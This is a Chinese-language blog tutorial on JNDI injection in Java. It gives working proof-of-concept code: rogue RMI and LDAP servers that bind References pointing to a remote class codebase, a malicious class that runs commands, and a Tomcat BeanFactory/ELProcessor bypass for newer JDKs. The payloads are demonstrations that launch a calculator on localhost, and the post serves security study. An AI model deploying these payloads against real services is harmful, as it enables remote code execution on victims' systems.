首页 > 编程语言 >java反序列化(五) JNDI注入

java反序列化(五) JNDI注入

时间:2023-04-24 20:11:08浏览次数:46  
标签:InitialContext java JNDI rmi new import naming 序列化 public

JNDI注入

前置知识

JNDI

JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以通过字符串来锁定一个对象

JNDI 支持的服务主要有以下几种:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

1682173076150

LDAP

LDAP目录以树状的层次结构来存储数据,目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。目录服务是由目录数据库和一套访问协议组成的系统。

LDAP轻量级目录访问协议是个计算机名词,并不是Java特有

然后LDAP有些参数,感觉稍微了解下就好了,知道后面连接LDAP服务器时带的几个参数啥意思就行

1682324346335

JNDI+RMI

普通的RMI

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
    public String sayHello(String keywords) throws RemoteException;

}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
    public RemoteObjImpl() throws RemoteException{
        super();
    }

    @Override
    public String sayHello(String keywords){
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }
}
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        IRemoteObj remoteObj = new RemoteObjImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("remoteObj",remoteObj);

    }
}

与JNDI结合

import javax.naming.InitialContext;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());// 创建远程对象然后绑定到上下文
    }
}

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");// 通过字符串查找对象
        System.out.println(remoteObj.sayHello("hello"));
    }
}

实际运行效果和我们之前的RMI是一样的,JNDI里最终调用的还是RMI里的lookup,RMI里的攻击方法也适用

1682222638176

这里探讨下JNDI的攻击方法,上面代码将远程对象绑定到RMI服务,如果绑定的是一个含有恶意类的Reference,就可以在查询时触发恶意类的恶意代码。应用思路是伪造恶意服务端,通过控制客户端lookup的字符串来触发恶意代码

1682227915985

恶意类,编译下然后在.class目录里起个服务

import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}
 python -m http.server 8848

恶意服务端

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
//        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());// 创建远程对象然后绑定到上下文
        Reference reference = new Reference("Test","Test","http://localhost:8848");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",reference);
    }
}

1682228058960

简单理解下原理,客户端lookup之后找到服务端指定的Reference,接着进一步寻找Reference中的类,但并不能在本地找到,于是通过URLClassLoader远程获取到Reference中包含的类,在本地实例化从而触发代码

1682262393756

JNDI+LDAP

RMI和COBRA的方式很快就被修复了,但LDAP还多活了一阵

1682239128510

https://directory.apache.org/studio/downloads.html下载apache做的可视化LDAP服务器页面,这玩意jdk18一直起不了服务器,换了jdk11才正常

1682250520496

1682250596889

1682256962589

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDILDAPServer {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("Test", "Test", "http://localhost:8848");
        initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);// 默认的ldap端口,cn等参数也都用的默认

    }
}
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILDAPClient {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
    }
}

先起LDAP服务器,在Test.class目录起个8848端口的服务,然后运行JNDILDAPServer绑定,最后运行JNDILDAPClient弹计算器

1682259826745

原理类似RMI,算是修复中的漏网之鱼。流程中可以看到攻击仅依赖于jdk版本,甚至不需要依赖任何库,很方便

高版版本绕过

1682239260791

当然LDAP最终难逃一死,更高的版本中添加了过滤,阻止通过URLClassLoader远程找到指定的factory(前面的RMI也是这么被过滤的)

8u65

1682261356925

11.0.19

1682261318125

TRUST_URL_CODE_BASE默认为false

1682261284358

在这之前客户端lookup查找reference、尝试获取reference的factory的流程是没有变化的,那如果reference中的恶意factory可以直接在本地找到,无需远程获取就不会被过滤

基于本地BeanFactory

The target class should have a public no-argument constructor and public setters with only one “String” parameter. In fact, these setters may not necessarily start from ‘set..’ as “BeanFactory” contains some logic surrounding how we can specify an arbitrary setter name for any parameter.

最基础的是找BeanFactory这个factroy

BeanFactory可以创建任意bean的实例并调用其setter方法,这个BeanFactory有一个奇怪的表现,他会读取ref对象中的forceString属性,如果这个属性的值为a=b,那么BeanFactory就会把函数b当做a属性的setter

具体原理我讲不太清,直接抄其他师傅的话,总之后面跟下流程就理解了

看网上说是老版本的tomcat没有自带el这个包,需要自己引入

		<dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.0.28</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.0.28</version>
        </dependency>

由于RMI和LDAP的修复方式差不多,所以这个绕过的方法同时适用于RMI和LDAP。RMIServer、JNDIRMIServer、JNDIRMCient都跑起来就成功弹出计算器了

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.Reference;
import javax.naming.StringRefAddr;

public class JNDIRMIServer {
    public static void main(String[] args)throws Exception {
        InitialContext initialContext = new InitialContext();// 创建初始上下文
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
                "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));// 通过ELProcessor.eval执行命令
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", resourceRef);
    }
}

跟一下流程,在经历了一大堆rmi的东西后,客户端开始在RegistryContext.lookup的decodeObject中解析reference

1682327165654

在获知工厂类型为BeanFactory后调用BeanFactory.getObjectInstance1682327530190

1682327569424

至此进入BeanFactory,首先要求引用类型为Resourceref(正如之前在服务端绑定的),接着获取一个ELProcessor

1682327978856

在对addrs中的其他参数之前,Beanfactory优先处理forceString属性,然后以等号为分割将等号前后的值存入HashMap forced

1682328572603

1682337332692

接着获取addrs中的其他信息,包括最后的Runtime.getRuntime().exec(\"calc\")

1682335555885

1682335521460

最后根据forced反射调用ELProcessor的eval方法,执行命令Runtime.getRuntime().exec("calc")

1682335411143

总结

对工厂factory理解不够

之后再补其他饶过

参考

https://blog.z3ratu1.cn/Java RMI反序列化与JNDI注入入门.html

更多高版本绕过

https://tttang.com/archive/1405/

https://tttang.com/archive/1489/

标签:InitialContext,java,JNDI,rmi,new,import,naming,序列化,public
From: https://www.cnblogs.com/carama1/p/17350729.html

相关文章

  • Java中null和“”的区别
    null和空字符串('')虽然都是没有任何内容,但是null却输出空指针异常,因为堆内存中根本就没有这个东西。他们的区别可相当大,虽然都是没有信息,但是null代表堆内存中根本没有这个东西,这个对象不存在,怎么执行indexof操作?空字符串虽然没有信息,但是是有内存空间的,所以null与空字符串主要......
  • springboot mybatis 动态调用oracle存储过程,通过存储过程名称,就能动态调用存储过程、j
    由于在开发业务时,可能同时调用的存储过程不知道参数,但是参数从界面、或已经存储在数据库的获取,所以就不希望手动写存储过程的参数,通过简化的调用。能不能写个动态的业务,只输入存储过程名称,自动获取存储过程参数,并且参数的数据从前台传递过来,这个就通用了。只写一个通用方法,就可以......
  • Java 依赖注入(DI)
    只要做过Java一段时间,基本上都会遇到这个问题。DependencyInjection(DI)中文称之为依赖注入。都说了Spring的关键部分就是DependencyInjection(DI),但是什么是依赖,为什么要注入,基本上没怎么找到使用简单文字说明的本文尝试用土话把这个问题说明白。这里有2个概念,依赖和注入。......
  • java -- 注解
    注解注解概述定义:注解(Annotation),也叫元数据。一种代码级别的说明。它是JDK1.5及以后版本引入的一个特性,与类、接口、枚举是在同一个层次。它可以声明在包、类、字段、方法、局部变量、方法参数等的前面,用来对这些元素进行说明,注释。作用分类:编写文档:通过代码里标识的注解生成......
  • Java
    HashSetcontainsaddStack+emptypeekpoppush(add)sizeHashMapvalueOf(value)get(key),put(key,value),isEmpty()containsKey(key)containsValue(value)remove(key)cnt.merge(x,1,Integer::sum);QueueQueueq=newLinkedList<>();Priorit......
  • Python学习笔记--json序列化时间报错-改源码
    问题:转换时间报错执行代码为:importjsonfromdatetimeimportdate,datetimed={"time1":date.today(),"time2":datetime.today()}res=json.dumps(d)#报错  TypeError:ObjectoftypedateisnotJSONserializable方案1:手动转换str()方案2:继承类......
  • 云原生周刊:2023 年 Java 开发人员可以学习的 25 大技术技能
    文章推荐2023年Java开发人员可以学习的25大技术技能这篇文章为Java开发人员提供了2023年需要学习的一些重要技能,这些技能涵盖了现代Java开发、大数据和人工智能、安全性、分布式系统和区块链、以及其他领域。Java开发人员应该根据自己的需求和职业规划,选择适合自己......
  • JAVA下载图片压缩zip
    1.支持多张图片下载/***下载附件zip*/@PostMapping("downloadZip")publicvoiddownloadZip(@RequestBodyShipmentAnnexVoshipmentAnnexVo,HttpServletRequestrequest,HttpServletResponseresponse){shipmentAnnexService.downloadZip(shipmentAnnexVo,request,......
  • WebSphere Message Broker -JavaCompute组件的使用
      IBMWebSphereMessageBrokerJavaCompute节点的使用. importjava.util.List;importcom.ibm.broker.javacompute.MbJavaComputeNode;importcom.ibm.broker.plugin.*;publicclassSub_FFN_JavaComputeextendsMbJavaComputeNode{ privatefinalArticleCreator......
  • 【Linux】yum安装Java环境,并配置环境变量
    查看系统是否安装过javayumlistinstalled|grepjava如果有旧版本的java,且你自己不需要,可以用如下方法卸载所有的java(后边的*符号是通配符)yum-yremovejava-1.8.0-openjdk*查看java软件包列表yumlistjava*注意​ 这里一定要安装openjdk的开发版本(......